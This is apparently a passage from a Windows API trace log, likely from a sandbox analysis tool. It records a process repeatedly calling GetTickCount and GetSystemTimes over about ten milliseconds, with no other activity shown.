[0029.061] GetTickCount () returned 0x1143064 [0029.061] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.061] GetTickCount () returned 0x1143064 [0029.061] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.061] GetTickCount () returned 0x1143064 [0029.061] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.061] GetTickCount () returned 0x1143064 [0029.061] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.061] GetTickCount () returned 0x1143064 [0029.061] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.061] GetTickCount () returned 0x1143064 [0029.061] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.061] GetTickCount () returned 0x1143064 [0029.061] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.061] GetTickCount () returned 0x1143064 [0029.061] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.061] GetTickCount () returned 0x1143064 [0029.061] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.062] GetTickCount () returned 0x1143064 [0029.062] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.062] GetTickCount () returned 0x1143064 [0029.062] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.062] GetTickCount () returned 0x1143064 [0029.062] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.062] GetTickCount () returned 0x1143064 [0029.062] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.062] GetTickCount () returned 0x1143064 [0029.062] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.062] GetTickCount () returned 0x1143064 [0029.062] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.062] GetTickCount () returned 0x1143064 [0029.062] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.062] GetTickCount () returned 0x1143064 [0029.062] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.062] GetTickCount () returned 0x1143064 [0029.062] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.062] GetTickCount () returned 0x1143064 [0029.062] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.062] GetTickCount () returned 0x1143064 [0029.062] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.063] GetTickCount () returned 0x1143064 [0029.063] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.063] GetTickCount () returned 0x1143064 [0029.063] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.063] GetTickCount () returned 0x1143064 [0029.063] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.063] GetTickCount () returned 0x1143064 [0029.063] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.063] GetTickCount () returned 0x1143064 [0029.063] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.063] GetTickCount () returned 0x1143064 [0029.063] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.063] GetTickCount () returned 0x1143064 [0029.063] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.063] GetTickCount () returned 0x1143064 [0029.063] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.063] GetTickCount () returned 0x1143064 [0029.063] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.063] GetTickCount () returned 0x1143064 [0029.063] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.063] GetTickCount () returned 0x1143064 [0029.064] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.064] GetTickCount () returned 0x1143064 [0029.064] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.064] GetTickCount () returned 0x1143064 [0029.064] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.064] GetTickCount () returned 0x1143064 [0029.064] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.064] GetTickCount () returned 0x1143064 [0029.064] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.064] GetTickCount () returned 0x1143064 [0029.064] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.064] GetTickCount () returned 0x1143064 [0029.064] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.064] GetTickCount () returned 0x1143064 [0029.064] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.064] GetTickCount () returned 0x1143064 [0029.064] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.064] GetTickCount () returned 0x1143064 [0029.064] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.064] GetTickCount () returned 0x1143064 [0029.064] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.065] GetTickCount () returned 0x1143064 [0029.065] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.065] GetTickCount () returned 0x1143064 [0029.065] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.065] GetTickCount () returned 0x1143064 [0029.065] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.065] GetTickCount () returned 0x1143064 [0029.065] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.065] GetTickCount () returned 0x1143064 [0029.065] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.065] GetTickCount () returned 0x1143064 [0029.065] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.065] GetTickCount () returned 0x1143064 [0029.065] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.065] GetTickCount () returned 0x1143064 [0029.065] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.065] GetTickCount () returned 0x1143064 [0029.065] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.065] GetTickCount () returned 0x1143064 [0029.065] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.065] GetTickCount () returned 0x1143064 [0029.065] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.066] GetTickCount () returned 0x1143064 [0029.066] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.066] GetTickCount () returned 0x1143064 [0029.066] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.066] GetTickCount () returned 0x1143064 [0029.066] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.066] GetTickCount () returned 0x1143064 [0029.066] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.066] GetTickCount () returned 0x1143064 [0029.066] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.066] GetTickCount () returned 0x1143064 [0029.066] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.066] GetTickCount () returned 0x1143064 [0029.066] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.066] GetTickCount () returned 0x1143064 [0029.066] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.066] GetTickCount () returned 0x1143064 [0029.066] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.066] GetTickCount () returned 0x1143064 [0029.066] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.066] GetTickCount () returned 0x1143064 [0029.067] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.067] GetTickCount () returned 0x1143064 [0029.067] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.067] GetTickCount () returned 0x1143064 [0029.067] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.067] GetTickCount () returned 0x1143064 [0029.067] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.067] GetTickCount () returned 0x1143064 [0029.067] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.067] GetTickCount () returned 0x1143064 [0029.067] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.067] GetTickCount () returned 0x1143064 [0029.067] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.067] GetTickCount () returned 0x1143064 [0029.067] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.067] GetTickCount () returned 0x1143064 [0029.067] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.067] GetTickCount () returned 0x1143064 [0029.067] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.067] GetTickCount () returned 0x1143064 [0029.067] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.068] GetTickCount () returned 0x1143064 [0029.068] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.068] GetTickCount () returned 0x1143064 [0029.068] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.068] GetTickCount () returned 0x1143064 [0029.068] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.068] GetTickCount () returned 0x1143064 [0029.068] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.068] GetTickCount () returned 0x1143064 [0029.068] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.068] GetTickCount () returned 0x1143064 [0029.068] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.068] GetTickCount () returned 0x1143064 [0029.068] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.068] GetTickCount () returned 0x1143064 [0029.068] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.068] GetTickCount () returned 0x1143064 [0029.068] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.068] GetTickCount () returned 0x1143064 [0029.068] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.069] GetTickCount () returned 0x1143064 [0029.069] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.069] GetTickCount () returned 0x1143064 [0029.069] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.069] GetTickCount () returned 0x1143064 [0029.069] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.069] GetTickCount () returned 0x1143064 [0029.069] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.069] GetTickCount () returned 0x1143064 [0029.069] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.069] GetTickCount () returned 0x1143064 [0029.069] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.069] GetTickCount () returned 0x1143064 [0029.069] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.069] GetTickCount () returned 0x1143064 [0029.069] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.069] GetTickCount () returned 0x1143064 [0029.069] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.069] GetTickCount () returned 0x1143064 [0029.069] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.069] GetTickCount () returned 0x1143064 [0029.069] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.070] GetTickCount () returned 0x1143064 [0029.070] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.070] GetTickCount () returned 0x1143064 [0029.070] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.070] GetTickCount () returned 0x1143064 [0029.070] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.070] GetTickCount () returned 0x1143064 [0029.070] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.070] GetTickCount () returned 0x1143064 [0029.070] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.070] GetTickCount () returned 0x1143064 [0029.070] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.070] GetTickCount () returned 0x1143064 [0029.070] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.070] GetTickCount () returned 0x1143064 [0029.070] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.070] GetTickCount () returned 0x1143064 [0029.070] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.070] GetTickCount () returned 0x1143064 [0029.070] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.070] GetTickCount () returned 0x1143064 [0029.071] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.071] GetTickCount () returned 0x1143064 [0029.071] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.071] GetTickCount () returned 0x1143064 [0029.071] GetSystemTimes (in: 